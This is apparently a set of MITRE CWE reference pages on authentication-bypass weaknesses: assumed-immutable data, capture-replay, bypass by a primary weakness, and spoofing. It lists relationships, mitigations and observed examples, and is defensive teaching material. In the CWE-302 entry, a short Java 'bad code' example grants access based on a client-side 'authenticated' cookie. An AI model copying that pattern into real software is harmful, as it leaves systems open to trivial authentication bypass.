Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 46 Path Equivalence: 'filename ' (Trailing Space)
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 52 Path Equivalence: '/multiple/trailing/slash//'
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 173 Improper Handling of Alternate Encoding
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 178 Improper Handling of Case Sensitivity
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Protection mechanism that restricts URL access can be bypassed using URL encoding.
web framework for .NET allows remote attackers to bypass authentication for .aspx files in restricted directories via a request containing a (1) "\" (backslash) or (2) "%5C" (encoded backslash)
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Detection Methods
Method Details

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 845 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 2 - Input Validation and Data Sanitization (IDS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1134 SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps equivalent encodings, canonicalization, authorization, multiple trailing slash, trailing space, mixed case, and other equivalence issues.

Theoretical

Alternate names are useful in data driven manipulation attacks, not just for authentication.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication bypass by alternate name
The CERT Oracle Secure Coding Standard for Java (2011) IDS01-J CWE More Specific Normalize strings before validating them
SEI CERT Oracle Coding Standard for Java IDS01-J CWE More Specific Normalize strings before validating them
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Detection_Factors, Observed_Examples, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Type
2022-10-13 CWE Content Team MITRE
updated Relationships
2020-06-25 CWE Content Team MITRE
updated Potential_Mitigations
2020-02-24 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2019-01-03 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Potential_Mitigations
2009-07-27 CWE Content Team MITRE
updated Other_Notes, Potential_Mitigations, Theoretical_Notes
2008-11-24 CWE Content Team MITRE
updated Observed_Examples
2008-09-08 CWE Content Team MITRE
updated Description, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Potential_Mitigations, Time_of_Introduction
Back to top

CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID: 302
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design; Operation; Implementation
Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 807 Reliance on Untrusted Inputs in a Security Decision
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Not Technology-Specific (Undetermined Prevalence)

Class: Web Based (Sometimes Prevalent)

+ Demonstrative Examples

Example 1


In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

(bad code)
Example Language: Java 
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
...
}

Modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
DebPloit
Web auth
Authentication bypass by setting certain cookies to "true".
Authentication bypass by setting certain cookies to "true".
Admin access by setting a cookie.
Gain privileges by setting cookie.
Product trusts authentication information in cookie.
Authentication bypass by setting admin-testing variable to true.
Bypass auth and gain privileges by setting a variable.
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 724 OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 949 SFP Secondary Cluster: Faulty Endpoint Authentication
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication Bypass via Assumed-Immutable Data
OWASP Top Ten 2004 A1 CWE More Specific Unvalidated Input
The CERT Oracle Secure Coding Standard for Java (2011) SEC02-J Do not base security checks on untrusted sources
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Applicable_Platforms, Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Type
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2021-03-15 CWE Content Team MITRE
updated Demonstrative_Examples
2020-02-24 CWE Content Team MITRE
updated Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2010-04-05 CWE Content Team MITRE
updated Related_Attack_Patterns
2010-02-16 CWE Content Team MITRE
updated Potential_Mitigations, Relationships
2009-03-10 CWE Content Team MITRE
updated Relationships
2008-10-14 CWE Content Team MITRE
updated Demonstrative_Examples, Description
2008-09-08 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
2008-07-01 Sean Eidemiller Cigital
added/updated demonstrative examples
Back to top

CWE-294: Authentication Bypass by Capture-replay

Weakness ID: 294
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes).
+ Extended Description
Capture-replay attacks are common and can be difficult to defeat without cryptography. They are a subset of network injection attacks that rely on observing previously-sent valid commands, then changing them slightly if necessary and resending the same commands to the server.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Gain Privileges or Assume Identity

Scope: Access Control

Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.
+ Potential Mitigations
Phase(s) Mitigation

Architecture and Design
Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Architecture and Design
Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
High
+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 956 SFP Secondary Cluster: Channel Attack
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1353 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication bypass by replay
CLASP Capture-replay
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Description, Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated Relationships
2021-10-28 CWE Content Team MITRE
updated Relationships
2020-08-20 CWE Content Team MITRE
updated Related_Attack_Patterns
2020-02-24 CWE Content Team MITRE
updated References, Relationships
2019-06-20 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Observed_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Demonstrative_Examples
2009-10-29 CWE Content Team MITRE
updated Observed_Examples
2009-07-27 CWE Content Team MITRE
updated Description, Other_Notes, Potential_Mitigations
2009-05-27 CWE Content Team MITRE
updated Related_Attack_Patterns
2008-09-08 CWE Content Team MITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
Back to top

CWE-305: Authentication Bypass by Primary Weakness

Weakness ID: 305
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism

Scope: Access Control

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Implementation REALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
The provided password is only compared against the first character of the real password.
The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.
Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges.
+ Weakness Ordinalities
Ordinality Description
Resultant
(where the weakness is typically related to the presence of some other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 947 SFP Secondary Cluster: Authentication Bypass
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1396 Comprehensive Categorization: Access Control
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1442 OWASP Top Ten 2025 Category A07:2025 - Authentication Failures
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Most "authentication bypass" errors are resultant, not primary.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Authentication Bypass by Primary Weakness
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Modifications
Modification Date Modifier Organization
2025-12-11
(CWE 4.19, 2025-12-11) 		CWE Content Team MITRE
updated Relationships, Weakness_Ordinalities
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships, Time_of_Introduction
2022-10-13 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2017-05-03 CWE Content Team MITRE
updated Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Observed_Examples, Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2008-11-24 CWE Content Team MITRE
updated Observed_Examples
2008-09-08 CWE Content Team MITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Bypass Protection Mechanism; Gain Privileges or Assume Identity

Scope: Access Control

This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 1390 Weak Authentication
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 291 Reliance on IP Address for Authentication
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 293 Using Referer Field for Authentication
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 350 Reliance on Reverse DNS Resolution for a Security-Critical Action
PeerOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 602 Client-Side Enforcement of Server-Side Security
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1211 Authentication Errors
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (View-1003)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 287 Improper Authentication
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1010 Authenticate Actors
